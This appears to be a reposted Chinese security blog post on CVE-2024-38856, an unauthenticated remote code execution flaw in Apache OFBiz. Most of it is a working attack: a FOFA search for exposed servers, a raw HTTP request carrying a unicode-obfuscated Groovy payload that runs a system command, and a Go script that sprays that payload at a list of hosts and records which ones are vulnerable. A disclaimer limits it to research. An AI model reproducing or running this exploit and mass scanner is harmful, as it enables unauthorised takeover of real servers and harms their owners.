Rce!Apache OFBiz代码执行(CVE-2024-38856)

admin 2024年8月12日01:55:04评论58 views字数 2637阅读8分47秒阅读模式
漏洞简介
Apache_OFBiz是一款美国阿帕奇(Apache)基金会下的一套(ERP)系统。该系统可以提供一整套基于Java的Web应用程序组件及工具。Apache_ OFBiz的18.12.14及之前版本均存在安全漏洞,该漏洞源于存在授权错误导致的漏洞,从而导致未经身份验证的端点可执行屏幕渲染代码。
0x03 资产发现

FOFA:app="Apache_OFBiz"

Rce!Apache OFBiz代码执行(CVE-2024-38856)

0x04 漏洞复现

Poc

POST /webtools/control/main/ProgramExport HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 260

groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

Rce!Apache OFBiz代码执行(CVE-2024-38856)

自动化利用脚本

package main

import (
  "bufio"
  "crypto/tls"
  "fmt"
  "github.com/imroc/req/v3"
  "os"
  "strings"
  "sync"
)

var (
  Payload = "groovyProgram=\\u0074\\u0068\\u0072\\u006f\\u0077\\u0020\\u006e\\u0065\\u0077\\u0020\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0028\\u0027\\u0069\\u0064\\u0027\\u002e\\u0065\\u0078\\u0065\\u0063\\u0075\\u0074\\u0065\\u0028\\u0029\\u002e\\u0074\\u0065\\u0078\\u0074\\u0029\\u003b"
  wg      sync.WaitGroup
)

func main() {
  file, err := os.Open("ip.txt")
  if err != nil {
    fmt.Println("打开文件失败:", err)
    return
  }
  defer file.Close()

  outFile, err := os.OpenFile("suss.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
  if err != nil {
    fmt.Println("打开文件失败:", err)
    return
  }
  defer outFile.Close()

  scanner := bufio.NewScanner(file)

  for scanner.Scan() {
    wg.Add(1)
    go func(ip string) {
      defer wg.Done()
      urls := []string{ip}
      if !strings.HasPrefix(ip, "http://") && !strings.HasPrefix(ip, "https://") {
        urls = []string{"https://" + ip, "http://" + ip}
      }
      for _, url := range urls {
        client := req.C().SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true})
        resp, err := client.SetCommonHeaders(map[string]string{
          "User-Agent":      "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36",
          "Accept":          "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
          "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
          "Content-Type":    "application/x-www-form-urlencoded",
        }).R().SetBody(Payload).Post(url + "/webtools/control/main/ProgramExport")

        if err != nil {
          fmt.Println("请求失败:", err)
          continue
        }
        if resp.IsSuccessState() && strings.Contains(resp.String(), "java.lang.Exception") {
          _, err = outFile.WriteString(url + "\n")
          if err != nil {
            fmt.Println("写入文件失败:", err)
          }
          break
        }
      }
    }(scanner.Text())
  }
  wg.Wait()

  if err := scanner.Err(); err != nil {
    fmt.Println("读取文件失败:", err)
  }
}

加上需要扫描的目标文件,以及输出的文件即可。

原文始发于微信公众号(琴音安全):Rce!Apache OFBiz代码执行(CVE-2024-38856)

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月12日01:55:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Rce!Apache OFBiz代码执行(CVE-2024-38856)https://cn-sec.com/archives/3056261.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息